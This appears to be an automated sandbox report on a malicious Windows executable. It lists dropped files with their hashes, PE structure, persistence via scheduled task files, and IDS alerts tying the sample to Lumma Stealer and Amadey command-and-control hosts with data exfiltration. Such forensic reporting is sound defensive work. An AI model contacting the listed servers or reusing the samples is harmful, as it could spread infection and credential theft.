MD5:	5F38C4D8D82BD75C9E66E4D5DC7FA257
SHA1:	02A227A6C0089EC14DC6D44D878F4C90C577B401
SHA-256:	A7A7406A24DA06B80D7C77021E731764A8217296B0B3E3B9730A2976B3218E66
SHA-512:	1AF0B2FB5454B1BBA00516C46053880EBC83D9CF5498CB093BDB68177973DD582FE7A3E3BE981254F029DB132B65B4F715DFDB5E8461AA36F1190063AC27074C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`L...........@...........................L......D....@.................................W...k............................@L.............................8@L..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...dqejjcio.0... 2.."..................@...gfikdque.....PL.....................@....taggant.0...`L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2850304
Entropy (8bit):	6.427254887628569
Encrypted:	false
SSDEEP:	49152:H4zN+cPOG7v+kA6fcrmQILvmWCo8FZ/OKK/B:YzMcPOuv+krfcrmQoCntOKK/
MD5:	CC3379571644FA87BA60176E4E11716C
SHA1:	C034E08F171B99B222F2306D0BBD8AA8C2B678CD
SHA-256:	ADF5843AA8BB218F65E0B9B9121168D89D4C9CE3474E4880C2A4AB2F9C594BD5
SHA-512:	04085C425F91C2E79EC1666261459048DF009013765CA10434CB341FF1EE3964DCB749D681FD470C3939D844C076352970382F342AAFA8AEFCF6EDF5036FCC39
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,......w,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...sgyfneub. +.......+..:..............@...wyedghxm. ....+......X+.............@....taggant.@....+.."...\+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915904
Entropy (8bit):	7.949486002748302
Encrypted:	false
SSDEEP:	24576:8vixuf9T0s3zRiTdAFLt0tKOvopSi1RCThi2kh/Qa4xFhLhyxTX03yVhACibn7B6:Dxuf9TTgd2t0ta4oRCI2kh/4NwhV2B6
MD5:	5F38C4D8D82BD75C9E66E4D5DC7FA257
SHA1:	02A227A6C0089EC14DC6D44D878F4C90C577B401
SHA-256:	A7A7406A24DA06B80D7C77021E731764A8217296B0B3E3B9730A2976B3218E66
SHA-512:	1AF0B2FB5454B1BBA00516C46053880EBC83D9CF5498CB093BDB68177973DD582FE7A3E3BE981254F029DB132B65B4F715DFDB5E8461AA36F1190063AC27074C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`L...........@...........................L......D....@.................................W...k............................@L.............................8@L..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...dqejjcio.0... 2.."..................@...gfikdque.....PL.....................@....taggant.0...`L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jsii-runtime.2352807428\bin\jsii-runtime.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe
File Type:	C++ source, ASCII text, with very long lines (324), with escape sequences
Category:	dropped
Size (bytes):	138639
Entropy (8bit):	4.286369825068587
Encrypted:	false
SSDEEP:	1536:ZMjsdRCCXpnzopj7/5dLopnQPporDa6meL4xmJ:fenLo9QP+lmeL4IJ
MD5:	A7C8367F8B900617374F5D3FAC86DFD7
SHA1:	6BDEAB34FA632083B2578708EB0C50443ED5E9A9
SHA-256:	E4F82DB7579D84B2DDB49B16A8CBD8256D86751473D1A86B4B31D1E3963BA0FA
SHA-512:	2C2E9D5445F4BDFBCA7F35881E9D133373145B40D26ECB9B122E60DD343B580FA3BC70C8B981B4AE7E3D9B8C4EA90C6A77F7328A60CBE0F2515EE364AD0CB0A3
Malicious:	false
Preview:	var __webpack_modules__ = {. 821: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. module = __webpack_require__.nmd(module);. const wrapAnsi16 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${code + offset}m`;. };. const wrapAnsi256 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${38 + offset};5;${code}m`;. };. const wrapAnsi16m = (fn, offset) => (...args) => {. const rgb = fn(...args);. return `.[${38 + offset};2;${rgb[0]};${rgb[1]};${rgb[2]}m`;. };. const ansi2ansi = n => n;. const rgb2rgb = (r, g, b) => [ r, g, b ];. const setLazyProperty = (object, property, get) => {. Object.defineProperty(object, property, {. get: () => {. const value = get();. Object.defineProperty(object, property, {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.2352807428\bin\jsii-runtime.js.map

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	218125
Entropy (8bit):	5.457704584855637
Encrypted:	false
SSDEEP:	3072:zKHyW445CPl85X3GJXlAnFhvMvOqGPUqdShdY5S8DoDT1JyBwJbMaky9nwe+L/Iq:LWY4KTvqd8dYQ8uJcwSy9nQ
MD5:	0FEFBA04D8BBEDD2CFF7EB75C3834847
SHA1:	054D11200D77C1B5DFB3B98A33973623619D34BE
SHA-256:	DBBDB23093B0732EE1504F79D3835B1C6B2E3F526AB42A6DA381E6CEC2648AE5
SHA-512:	3CEAA01275E2DEC044BA5F8D41092EB4F28E62CDAD24A71C8F7F57E4C48B709568C8C376BF2B048DC989810FB8EB91F2D944379804D5D85480A26663FC3F90FE
Malicious:	false
Preview:	{"version":3,"file":"bin/jsii-runtime.js","mappings":";;;;QAEA,MAAMA,aAAa,CAACC,IAAIC,WAAW,IAAIC;YACtC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAUC,OAAOF;AAAS;QAGlC,MAAMG,cAAc,CAACJ,IAAIC,WAAW,IAAIC;YACvC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAU,KAAKD,YAAYE;AAAO;QAG1C,MAAME,cAAc,CAACL,IAAIC,WAAW,IAAIC;YACvC,MAAMI,MAAMN,MAAME;YAClB,OAAO,KAAU,KAAKD,YAAYK,IAAI,MAAMA,IAAI,MAAMA,IAAI;AAAK;QAGhE,MAAMC,YAAYC,KAAKA;QACvB,MAAMC,UAAU,CAACC,GAAGC,GAAGC,MAAM,EAACF,GAAGC,GAAGC;QAEpC,MAAMC,kBAAkB,CAACC,QAAQC,UAAUC;YAC1CC,OAAOC,eAAeJ,QAAQC,UAAU;gBACvCC,KAAK;oBACJ,MAAMG,QAAQH;oBAEdC,OAAOC,eAAeJ,QAAQC,UAAU;wBACvCI;wBACAC,YAAY;wBACZC,cAAc;;oBAGf,OAAOF;AAAK;gBAEbC,YAAY;gBACZC,cAAc;;AACb;QAIH,IAAIC;QACJ,MAAMC,oBAAoB,CAACC,MAAMC,aAAaC,UAAUC;YACvD,IAAIL,iBAAiBM,WAAW;gBAC/BN,eAAe,oBAAQ;AACxB;YAEA,MAAMrB,SAAS0B,eAAe,KAAK;YACnC,MAAME,SAAS,CAAC;YAEhB,KAAK,OAAOC,aAAaC,UAAUd,OAAOe,QAAQV,eAAe;gBAChE,MAAMW,OAAOH,gBAAgB,WAAW,SAASA;gBACjD,IAAIA,gBAAgBL,aAAa;oBAChCI,OAAOI,QAAQT,KAAKE,UAAUzB;AAC/B,uBAAO,WAAW8B,UAAU,UAAU;oBACrCF,OAAOI,Q

C:\Users\user\AppData\Local\Temp\jsii-runtime.2352807428\lib\program.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe
File Type:	ASCII text, with very long lines (489)
Category:	dropped
Size (bytes):	802466
Entropy (8bit):	4.298722687837962
Encrypted:	false
SSDEEP:	6144:Z6TjefxOXTNwk8mCkCbCp4wrZaWvZEIhU4FFEY+cbCtNYbIgoxrV2z1J:Z6TjefxOXTNUkCbCp42aW4NwL
MD5:	4C6E1287B2F6060C1E0F386B0B47959A
SHA1:	0FA0C721B6848D78C73FCF74BB37891A17FF0999
SHA-256:	C8DB5A41C7EC02EB2F1F20A6CD544DB215246AD9D566EA9494D63521B9B1E271
SHA-512:	0FF6A037A413BE93DCB3C1B4C26CB9938025F34D9AA20818FBDED5B4B00BC89DCBA9EB58756BAFBA852CA972C058BDDB087E9CB58C9B442AC936C93590E14C13
Malicious:	false
Preview:	var __webpack_modules__ = {. 1165: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. const fs = __webpack_require__(9896);. const path = __webpack_require__(6928);. const LCHOWN = fs.lchown ? "lchown" : "chown";. const LCHOWNSYNC = fs.lchownSync ? "lchownSync" : "chownSync";. const needEISDIRHandled = fs.lchown && !process.version.match(/v1[1-9]+\./) && !process.version.match(/v10\.[6-9]/);. const lchownSync = (path, uid, gid) => {. try {. return fs[LCHOWNSYNC](path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const chownSync = (path, uid, gid) => {. try {. return fs.chownSync(path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const handleEISDIR = needEISDIRHandled ? (path, uid, gid, cb) => er => {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.2352807428\lib\program.js.map

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	modified
Size (bytes):	1155588
Entropy (8bit):	5.4159552687244155
Encrypted:	false
SSDEEP:	12288:D2DUMiOfGYFO/1pf0ThVUhI2PoEMuCfzT/2ZoEC74RiCfulDlJ:MZFO/1pf9hI2EjT/2ZoEC74RiCfulDlJ
MD5:	BE06DF1EE810220598CAE6D42AE2FD77
SHA1:	5DD0B0F101FDE69B49E37947380431D75D26125C
SHA-256:	09E18C6FA27068005DA8BCBB802C70B1C182866274478C684A4AB652ACAF2BBD
SHA-512:	BF40F52E37DFDBEE4AC4F562A28520893D3C8C13FDDB7A94E94458B1E8591162EADF3A4BE401A2FF6C2CE2449721F3F036C2B41571BB3C491E7F648595BAA8FA
Malicious:	false
Preview:	{"version":3,"file":"lib/program.js","mappings":";;;QACA,MAAMA,KAAK,oBAAQ;QACnB,MAAMC,OAAO,oBAAQ;QAGrB,MAAMC,SAASF,GAAGG,SAAS,WAAW;QAEtC,MAAMC,aAAaJ,GAAGK,aAAa,eAAe;QAGlD,MAAMC,oBAAoBN,GAAGG,WAC1BI,QAAQC,QAAQC,MAAM,kBACtBF,QAAQC,QAAQC,MAAM;QAEzB,MAAMJ,aAAa,CAACJ,MAAMS,KAAKC;YAC7B;gBACE,OAAOX,GAAGI,YAAYH,MAAMS,KAAKC;AACnC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAME,YAAY,CAACb,MAAMS,KAAKC;YAC5B;gBACE,OAAOX,GAAGc,UAAUb,MAAMS,KAAKC;AACjC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAMG,eACJT,oBAAoB,CAACL,MAAMS,KAAKC,KAAKK,OAAOJ;YAI1C,KAAKA,MAAMA,GAAGC,SAAS,UACrBG,GAAGJ,UAEHZ,GAAGiB,MAAMhB,MAAMS,KAAKC,KAAKK;AAAE,YAE7B,CAACE,GAAGC,IAAIC,KAAKJ,OAAOA;QAGxB,MAAMK,mBACJf,oBAAoB,CAACL,MAAMS,KAAKC;YAC9B;gBACE,OAAON,WAAWJ,MAAMS,KAAKC;AAC/B,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;gBACRE,UAAUb,MAAMS,KAAKC;AACvB;AAAA,YAEA,CAACV,MAAMS,KAAKC,QAAQN,WAAWJ,MAAMS,KAAKC;QAG9C,MAAMW,cAAcf,QAAQC;QAC5B,IAAIe,UAAU,CAACtB,MAAMuB,SAASR,OAAOhB,GAAGuB,QAAQtB,MAAMuB,SAASR;Q

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe
File Type:	data
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.4989011336432507
Encrypted:	false
SSDEEP:	6:3jKTuZX2JUEZ+lX1lOJUPelkDdtcVAkXIEZ8MlW8+y0lPUEt0:zKCl2JQ1lOmeeDhkXd8kX+VPFt0
MD5:	142CE4E0F719ADD722D99E006264717B
SHA1:	6FD3C34B3D23C4F627A39804AF03227573EE99DE
SHA-256:	4FB3B2E637C899C08B5196F1E0D303ED307234D318E339DFA911E2ADE74042BB
SHA-512:	397EB1DBA63FAB7AC676A28196CE879AE5176FEF846A64303049B98FDF8B53821D54F09E1C2AFE33EC56F25ED11F03E1F67FABEFF413193F83CC5281B701EE27
Malicious:	false
Preview:	..........>G...K...F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................%.@3P.........................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.475409878303402
Encrypted:	false
SSDEEP:	6:MdLrDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lPdut0:slvJQ1CGAFMkXd8kX+VPdut0
MD5:	9AE93B83DEB7C0A4D849A5CC9633CA1E
SHA1:	B799AC2B96E02EB053E41E2DD26272C416C2641E
SHA-256:	E442EA5F698BDDCABB106BC40DEA43DF6EC2AE30C9157699C527DA1E41438773
SHA-512:	96FA11DBD4F360B6A1276B3B1FD0474E49DD1C786A971A3329978C9D611500EB6232B9046FADCB7D5B970AC65E6CE6B797D92DAACA84EDAAFEB2C5276F43C3E4
Malicious:	false
Preview:	.......O.rA.'.y..DqF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................$.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.528153608397751
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'959'872 bytes
MD5:	aadfe832c4d1eb7c9455494309e56b52
SHA1:	eca68d03c47046b55fdaf1d31223ec63d44e1da5
SHA256:	3b79ac7b5a8514b2ceaf41a0e49eeea96082a616c114f8915d0ed453af62d8bb
SHA512:	fd684a158f30f243e5627340b2edc3ac351f11f4ec623ea8d13710dd2660677f2a7d9753a22ce88f65b3becc591fde3736d65736309d61046b9676380605c867
SSDEEP:	49152:dqy/mZZunqFbQbqobA3wlzqXy62KcANb5gQWd:5dnqFbQ+Yr/vuN+QW
TLSH:	51D52A71B449B1CFD48F36794E17CD426AEE03BA47200AC39869B4BABDA7CC115B5D38
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........00...........@..........................`0.......-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x703000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F654C8B53CAh
invd
sub eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	3e9c3707c99739225fdabf492d2dc1fd	False	0.998114224137931	data	7.983446708488007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ltxhxmdn	0x5b000	0x2a7000	0x2a6e00	ba144e5727ae0f268bcd4e255bb95a07	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yjtwrlhc	0x302000	0x1000	0x600	cfe78722780fe3a3c6b07e1fce2a1fde	False	0.5358072916666666	data	4.72716846517535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x303000	0x3000	0x2200	c744d8568aaffa5be64fbbb17f009b55	False	0.06571691176470588	DOS executable (COM)	0.7278681126559545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T20:35:12.957108+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-29T20:35:12.957108+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-29T20:35:14.142310+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49727	188.114.96.3	443	TCP
2024-10-29T20:35:14.142310+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49727	188.114.96.3	443	TCP
2024-10-29T20:35:28.847017+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49814	188.114.96.3	443	TCP
2024-10-29T20:35:37.146554+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49864	188.114.96.3	443	TCP
2024-10-29T20:35:38.084906+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49873	185.215.113.16	80	TCP
2024-10-29T20:36:05.106490+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49979	185.215.113.43	80	TCP
2024-10-29T20:36:08.722702+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49981	185.215.113.16	80	TCP
2024-10-29T20:36:11.884445+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49980	TCP
2024-10-29T20:36:12.817111+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49982	185.215.113.43	80	TCP
2024-10-29T20:36:13.926143+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49983	185.215.113.16	80	TCP
2024-10-29T20:36:25.104425+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49984	185.215.113.43	80	TCP
2024-10-29T20:36:25.852669+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49985	188.114.96.3	443	TCP
2024-10-29T20:36:25.852669+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49985	188.114.96.3	443	TCP
2024-10-29T20:36:26.052197+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49986	185.215.113.16	80	TCP
2024-10-29T20:36:27.022765+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49987	188.114.96.3	443	TCP
2024-10-29T20:36:27.022765+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49987	188.114.96.3	443	TCP
2024-10-29T20:36:33.350346+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49988	188.114.96.3	443	TCP
2024-10-29T20:36:34.317353+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49989	185.215.113.43	80	TCP
2024-10-29T20:36:35.260254+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49991	185.215.113.16	80	TCP
2024-10-29T20:36:39.976195+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49993	185.215.113.43	80	TCP
2024-10-29T20:36:44.374491+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49996	185.215.113.43	80	TCP
2024-10-29T20:36:45.259236+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49997	31.41.244.11	80	TCP
2024-10-29T20:36:55.155259+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49999	188.114.96.3	443	TCP
2024-10-29T20:36:56.087273+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50000	185.215.113.16	80	TCP
2024-10-29T20:36:58.489655+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50001	185.215.113.43	80	TCP
2024-10-29T20:36:59.429547+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50002	185.215.113.16	80	TCP
2024-10-29T20:37:06.591575+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50004	162.159.129.233	443	TCP
2024-10-29T20:37:06.682080+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.7	50003	TCP
2024-10-29T20:37:07.602917+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.7	50005	185.215.113.16	80	TCP
2024-10-29T20:37:07.888629+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50005	185.215.113.16	80	TCP
2024-10-29T20:37:09.064613+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50006	185.215.113.43	80	TCP
2024-10-29T20:37:09.992783+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50007	185.215.113.16	80	TCP
2024-10-29T20:37:10.971356+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50008	188.114.96.3	443	TCP
2024-10-29T20:37:10.971356+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50008	188.114.96.3	443	TCP
2024-10-29T20:37:12.180364+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50009	188.114.96.3	443	TCP
2024-10-29T20:37:12.180364+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50009	188.114.96.3	443	TCP
2024-10-29T20:37:15.591941+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50011	185.215.113.16	80	TCP
2024-10-29T20:37:15.628700+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.7	50012	185.215.113.43	80	TCP
2024-10-29T20:37:16.555573+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50013	185.215.113.16	80	TCP
2024-10-29T20:37:16.974560+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50010	188.114.96.3	443	TCP
2024-10-29T20:37:17.668526+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50014	185.215.113.16	80	TCP
2024-10-29T20:37:21.678697+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50015	188.114.96.3	443	TCP
2024-10-29T20:37:21.678697+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50015	188.114.96.3	443	TCP
